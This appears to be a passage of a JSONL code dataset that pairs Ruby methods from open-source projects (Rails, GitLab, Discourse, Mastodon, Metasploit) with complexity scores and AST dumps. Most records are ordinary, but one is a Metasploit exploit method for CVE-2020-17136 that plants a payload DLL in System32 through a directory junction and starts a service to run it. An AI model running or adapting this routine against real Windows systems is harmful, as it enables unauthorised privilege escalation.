ctiveSupport\"]},\"TimeWithZone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]},\"since\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]},\"since\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]},\"ago\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[23]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"int\",\"children\":[55]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]},\"ago\"]}]}]}]}]}]}]}","id":"e6770d64-e8f3-4bb3-a83a-15603785e914"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/abstract_unit.rb","start_line":165,"raw_source":"def with_autoload_path(path)\n    path = File.join(__dir__, \"fixtures\", path)\n    Zeitwerk.with_loader do |loader|\n      loader.push_dir(path)\n      loader.setup\n      yield\n    ensure\n      loader.unload\n    end\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"with_autoload_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"__dir__\"]},{\"type\":\"str\",\"children\":[\"fixtures\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zeitwerk\"]},\"with_loader\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"push_dir\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"setup\"]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"unload\"]}]}]}]}]}","id":"bacac2ea-c998-478b-a476-b4dca4e6cd50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/internal_redirect.rb","start_line":19,"raw_source":"def safe_redirect_path_for_url(url)\n    return unless url\n\n    uri = URI(url)\n    safe_redirect_path(full_path_for_uri(uri)) if host_allowed?(uri)\n  rescue URI::InvalidURIError\n    nil\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"safe_redirect_path_for_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host_allowed?\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"send\",\"children\":[null,\"safe_redirect_path\",{\"type\":\"send\",\"children\":[null,\"full_path_for_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"InvalidURIError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"92027d90-7409-4fe3-a335-50410be068e3"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/file_path.rb","start_line":49,"raw_source":"def exists?\n      File.exist? self.absolute\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"absolute\"]}]}]}","id":"89648627-0ae5-4829-8c7f-5bbeba87ce84"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/import_project_team_service.rb","start_line":74,"raw_source":"def target_project_id\n      params[:id]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"target_project_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"786ddbfc-9bdc-4418-84a7-e9e9b6722a71"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/serializers/discourse_post_event/event_serializer.rb","start_line":122,"raw_source":"def include_url?\n      object.url.present?\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"include_url?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"url\"]},\"present?\"]}]}","id":"9262d753-8971-47fa-8629-9a7debe2cd28"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/user_status_controller.rb","start_line":6,"raw_source":"def get\n    ensure_feature_enabled\n    respond_to do |format|\n      format.json { render json: UserStatusSerializer.new(current_user.user_status, root: false) }\n    end\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_feature_enabled\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserStatusSerializer\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"user_status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}]}]}]}","id":"a2aa2037-cf31-4b2d-a1d2-196a9233d201"}
{"repo_name":"forem","file_path":"./repos/forem/app/queries/admin/users_query.rb","start_line":104,"raw_source":"def self.filter_roles(relation:, roles:, role_map: Constants::Role::ALL_ROLES_LABELS_TO_WHERE_CLAUSE)\n      conditions = []\n      values = []\n\n      # Assemble the conditions and positional parameter values\n      roles.each do |role|\n        where_clause = role_map.fetch(role)\n\n        resource_type = where_clause.fetch(:resource_type, nil)\n        name = where_clause.fetch(:name)\n\n        condition = \"(#{Role.table_name}.name = ? AND #{Role.table_name}.resource_id IS NULL\"\n        values << name\n\n        # We need to use `IS NULL` instead of `= NULL` as those are different meanings.\n        if resource_type.nil?\n          condition += \" AND #{Role.table_name}.resource_type IS NULL\"\n        else\n          condition += \" AND #{Role.table_name}.resource_type = ?\"\n          values << resource_type\n        end\n        condition += \")\"\n        conditions << condition\n      end\n\n      sub_query = User.select(:id).distinct.joins(:roles).where(%((#{conditions.join(') OR (')})), *values)\n      relation.where(id: sub_query)\n    end","complexity_score":40.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"filter_roles\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"relation\"]},{\"type\":\"kwarg\",\"children\":[\"roles\"]},{\"type\":\"kwoptarg\",\"children\":[\"role_map\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Constants\"]},\"Role\"]},\"ALL_ROLES_LABELS_TO_WHERE_CLAUSE\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conditions\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"roles\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"where_clause\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role_map\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"role\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resource_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"where_clause\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"where_clause\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"condition\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".name = ? AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".resource_id IS NULL\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_type\"]},\"nil?\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"condition\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".resource_type IS NULL\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"condition\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".resource_type = ?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"resource_type\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"condition\"]},\"+\",{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conditions\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"condition\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sub_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"distinct\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"roles\"]}]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conditions\"]},\"join\",{\"type\":\"str\",\"children\":[\") OR (\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"sub_query\"]}]}]}]}]}]}","id":"57446d37-d1b6-4936-922c-964fc59134e5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/themes.rb","start_line":14,"raw_source":"def initialize\n    @conf = YAML.load_file(Rails.root.join('config', 'themes.yml'))\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@conf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"config\"]},{\"type\":\"str\",\"children\":[\"themes.yml\"]}]}]}]}]}","id":"d73ad1aa-2406-4013-a109-9bb9cad12a20"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/incoming_email_serializer.rb","start_line":15,"raw_source":"def post_url\n    object.post.url\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"post_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"post\"]},\"url\"]}]}","id":"1b403406-d3f1-4f9f-9e3b-f9c9866f4d08"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":1027,"raw_source":"def test_advance_1_month_across_spring_dst_transition_backwards\n    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 5, 1, 10, 30))\n    assert_equal \"2006-04-01 10:30:00.000000000 EST -05:00\", twz.advance(months: -1).inspect\n    assert_equal \"2006-04-01 10:30:00.000000000 EST -05:00\", twz.months_ago(1).inspect\n    assert_equal \"2006-04-01 10:30:00.000000000 EST -05:00\", twz.ago(1.month).inspect\n    assert_equal \"2006-04-01 10:30:00.000000000 EST -05:00\", (twz - 1.month).inspect\n  end","complexity_score":23.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_advance_1_month_across_spring_dst_transition_backwards\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[30]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-01 10:30:00.000000000 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"months\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-01 10:30:00.000000000 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"months_ago\",{\"type\":\"int\",\"children\":[1]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-01 10:30:00.000000000 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"ago\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"month\"]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-01 10:30:00.000000000 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"month\"]}]}]},\"inspect\"]}]}]}]}","id":"cb40353f-b117-4bb8-8c27-e703643a4308"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/download_dsyms.rb","start_line":182,"raw_source":"def self.write_dsym(data, bundle_id, train_number, build_number, output_directory)\n        file_name = \"#{bundle_id}-#{train_number}-#{build_number}.dSYM.zip\"\n        if output_directory\n          file_name = output_directory + file_name\n        end\n        File.binwrite(file_name, data)\n        file_name\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"write_dsym\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"bundle_id\"]},{\"type\":\"arg\",\"children\":[\"train_number\"]},{\"type\":\"arg\",\"children\":[\"build_number\"]},{\"type\":\"arg\",\"children\":[\"output_directory\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bundle_id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"train_number\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_number\"]}]},{\"type\":\"str\",\"children\":[\".dSYM.zip\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_directory\"]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_directory\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binwrite\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}","id":"cfe93d90-b99e-4471-8c15-c25b0211eadc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/date_time_test.rb","start_line":55,"raw_source":"def test_assign_bad_date_time_with_timezone\n    in_time_zone \"Pacific Time (US & Canada)\" do\n      task = Task.new\n      task.starting = \"2014-07-01T24:59:59GMT\"\n      assert_nil task.starting\n    end\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assign_bad_date_time_with_timezone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_time_zone\",{\"type\":\"str\",\"children\":[\"Pacific Time (US & Canada)\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"task\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"starting=\",{\"type\":\"str\",\"children\":[\"2014-07-01T24:59:59GMT\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"starting\"]}]}]}]}]}","id":"88f54999-96d1-4d2e-be01-055a4251c323"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/cve_2020_17136.rb","start_line":141,"raw_source":"def exploit\n    if sysinfo['Architecture'] != ARCH_X64\n      fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')\n    elsif session.arch != ARCH_X64\n      fail_with(Failure::NoTarget, 'Sorry, WOW64 is not supported at this time!')\n    end\n    dir_junct_path = 'C:\\\\Windows\\\\Temp'\n    intermediate_dir = rand_text_alpha(10).to_s\n    junction_dir = rand_text_alpha(10).to_s\n    path_to_intermediate_dir = \"#{dir_junct_path}\\\\#{intermediate_dir}\"\n\n    mkdir(path_to_intermediate_dir.to_s)\n    if !directory?(path_to_intermediate_dir.to_s)\n      fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')\n    end\n    register_dir_for_cleanup(path_to_intermediate_dir.to_s)\n\n    mkdir(\"#{path_to_intermediate_dir}\\\\#{junction_dir}\")\n    if !directory?(\"#{path_to_intermediate_dir}\\\\#{junction_dir}\")\n      fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')\n    end\n\n    mount_handle = create_mount_point(\"#{path_to_intermediate_dir}\\\\#{junction_dir}\", 'C:\\\\')\n    if !directory?(\"#{path_to_intermediate_dir}\\\\#{junction_dir}\")\n      fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')\n    end\n\n    exe_path = ::File.expand_path(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-17136', 'cloudFilterEOP.exe'))\n    unless File.file?(exe_path)\n      fail_with(Failure::BadConfig, 'Assembly not found')\n    end\n    installed_dotnet_versions = get_dotnet_versions\n    vprint_status(\"Dot Net Versions installed on target: #{installed_dotnet_versions}\")\n    if installed_dotnet_versions == []\n      fail_with(Failure::BadConfig, 'Target has no .NET framework installed')\n    end\n    if check_requirements('v4.0.30319', installed_dotnet_versions) == false\n      fail_with(Failure::BadConfig, 'CLR required for assembly not installed')\n    end\n    payload_path = \"C:\\\\Windows\\\\Temp\\\\#{rand_text_alpha(16)}.dll\"\n    print_status(\"Dropping payload dll at #{payload_path} and registering it for cleanup...\")\n    write_file(payload_path, generate_payload_dll)\n    register_file_for_cleanup(payload_path)\n    execute_assembly(exe_path, \"#{path_to_intermediate_dir} #{junction_dir}\\\\Windows\\\\System32\\\\healthapi.dll #{payload_path}\")\n    service_start('smphost')\n    register_file_for_cleanup('C:\\\\Windows\\\\System32\\\\healthapi.dll')\n    sleep(3)\n    delete_mount_point(\"#{path_to_intermediate_dir}\\\\#{junction_dir}\", mount_handle)\n  end","complexity_score":72.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Architecture\"]}]},\"!=\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"This module currently only supports targeting x64 systems!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"arch\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Sorry, WOW64 is not supported at this time!\"]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"dir_junct_path\",{\"type\":\"str\",\"children\":[\"C:\\\\Windows\\\\Temp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"intermediate_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[10]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"junction_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[10]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path_to_intermediate_dir\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir_junct_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"intermediate_dir\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mkdir\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_to_intermediate_dir\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"directory?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_to_intermediate_dir\"]},\"to_s\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Could not create the intermediate directory!\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"register_dir_for_cleanup\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_to_intermediate_dir\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"mkdir\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_to_intermediate_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"junction_dir\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"directory?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_to_intermediate_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"junction_dir\"]}]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Could not create the junction directory as a folder!\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"mount_handle\",{\"type\":\"send\",\"children\":[null,\"create_mount_point\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_to_intermediate_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"junction_dir\"]}]}]},{\"type\":\"str\",\"children\":[\"C:\\\\\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"directory?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_to_intermediate_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"junction_dir\"]}]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Could not transform the junction directory into a 